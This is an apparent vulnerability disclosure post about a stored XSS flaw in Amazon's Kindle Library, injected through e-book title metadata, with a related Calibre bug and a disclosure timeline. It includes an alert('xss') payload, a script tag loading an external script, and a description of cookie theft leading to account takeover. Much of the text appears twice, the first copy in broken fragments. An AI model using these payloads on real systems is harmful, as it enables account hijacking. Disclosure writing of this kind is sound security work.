Amazon's Kindle Library
, also known as "Manage Your Content and Devices" and "Manage your Kindle",
is, at the time of writing, vulnerable to Stored Cross-Site Scripting (XSS) attacks
. Malicious code can be injected via e-book metadata; for example, an e-book's title.
Once an attacker manages to have an e-book (file, document, ...) with a title like
Basically, everyone who uses Amazon's Kindle Library to store e-books or to deliver them to a Kindle.
However, users most likely to fall victim to this vulnerability are those who obtain e-books from untrustworthy sources (read: pirated e-books) and then use Amazon's "Send to Kindle" service to have them delivered to their Kindle. From the supplier's point of view, vulnerabilities like this present an opportunity to gain access to active Amazon accounts.
Users who stick to e-books sold and delivered by Amazon should be safe, unless there's another oversight on Amazon's part, such as the one described here: < http://drwetter.eu/amazon/ >
A Proof of Concept (PoC) file can be downloaded from < https://fl7.de/pub/2014/amazon-mobixss/pub.mobi >; its title metadata contains the classic "<script>alert('xss')</script>" payload. Simply send it to your "Send to Kindle" email address and browse to your Kindle Library page at < https://www.amazon.com/mn/dcw/myx.html#/home/content/pdocs/dateDsc/ >. Depending on whether the file was already delivered to your Kindle or not, you may have to select "Pending Deliveries" from the drop-down box below the "Your Content" tab.
And this is what it looks like:
You can remove the file from your library as soon as it has been delivered to your Kindle, and while doing so you will notice about half a dozen additional alert boxes.
When I first reported this vulnerability to Amazon in November 2013, my initial Proof of Concept, a MOBI e-book with a title similar to the one mentioned above, contained code to collect cookies and send them to me. Interestingly, Amazon's Information Security team continued to use this PoC on internal preproduction systems for months after the vulnerability had been fixed. This made it even more surprising that, when rolling out a new version of the "Manage your Kindle" web application, Amazon reintroduced this very vulnerability.
Amazon chose not to respond to my subsequent email detailing the issue, and two months later, the vulnerability remains unfixed.
You may be thinking that XSS-inducing metadata in e-books doesn't affect you simply because you are organizing your e-books not through a web interface, but with Calibre <http://calibre-ebook.com/>. Well, have a look at this:
2013-10-24 Vulnerability discovered.
2013-11-15 Vulnerability reported to security@amazon.com.
2013-11-19 Amazon.com Information Security assigns case number.
2013-12-06 Reported vulnerability fixed.
2014-??-?? Vulnerability reintroduced by "Manage Your Kindle" web page redesign.
2014-07-09 Vulnerability reported to security@amazon.com.
2014-09-12 (Still no response from Amazon. Public disclosure.)
Once an attacker manages to have an e-book (file, document, ...) with a title like
<script src="https://www.example.org/script.js"></script>added to the victim's library, the code will be executed as soon as the victim opens the Kindle Library web page. As a result, Amazon account cookies can be accessed by and transferred to the attacker and the victim's Amazon account can be compromised.
.png)
Who is affected?
Basically, everyone who uses Amazon's Kindle Library to store e-books or to deliver them to a Kindle.
However, users most likely to fall victim to this vulnerability are those who obtain e-books from untrustworthy sources (read: pirated e-books) and then use Amazon's "Send to Kindle" service to have them delivered to their Kindle. From the supplier's point of view, vulnerabilities like this present an opportunity to gain access to active Amazon accounts.
Users who stick to e-books sold and delivered by Amazon should be safe, unless there's another oversight on Amazon's part, such as the one described here: < http://drwetter.eu/amazon/ >
Proof of Concept & Demonstration
A Proof of Concept (PoC) file can be downloaded from < https://fl7.de/pub/2014/amazon-mobixss/pub.mobi >; its title metadata contains the classic "<script>alert('xss')</script>" payload. Simply send it to your "Send to Kindle" email address and browse to your Kindle Library page at < https://www.amazon.com/mn/dcw/myx.html#/home/content/pdocs/dateDsc/ >. Depending on whether the file was already delivered to your Kindle or not, you may have to select "Pending Deliveries" from the drop-down box below the "Your Content" tab.
And this is what it looks like:
You can remove the file from your library as soon as it has been delivered to your Kindle, and while doing so you will notice about half a dozen additional alert boxes.
History, Response
When I first reported this vulnerability to Amazon in November 2013, my initial Proof of Concept, a MOBI e-book with a title similar to the one mentioned above, contained code to collect cookies and send them to me. Interestingly, Amazon's Information Security team continued to use this PoC on internal preproduction systems for months after the vulnerability had been fixed. This made it even more surprising that, when rolling out a new version of the "Manage your Kindle" web application, Amazon reintroduced this very vulnerability.
Amazon chose not to respond to my subsequent email detailing the issue, and two months later, the vulnerability remains unfixed.
Not Just Amazon
You may be thinking that XSS-inducing metadata in e-books doesn't affect you simply because you are organizing your e-books not through a web interface, but with Calibre <http://calibre-ebook.com/>. Well, have a look at this:
Calibre's developer, Kovid Goyal, acknowledged the problem less than four hours after I had reported it, and a new release - version 1.80 - including a bugfix was made available the following day. This is quite an impressive response (time), even more so when you consider that Calibre is maintained by an individual who make this software available at no cost. If you are a frequent Calibre user, consider making a donation!
Timeline
2013-10-24 Vulnerability discovered.
2013-11-15 Vulnerability reported to security@amazon.com.
2013-11-19 Amazon.com Information Security assigns case number.
2013-12-06 Reported vulnerability fixed.
2014-??-?? Vulnerability reintroduced by "Manage Your Kindle" web page redesign.
2014-07-09 Vulnerability reported to security@amazon.com.
2014-09-12 (Still no response from Amazon. Public disclosure.)
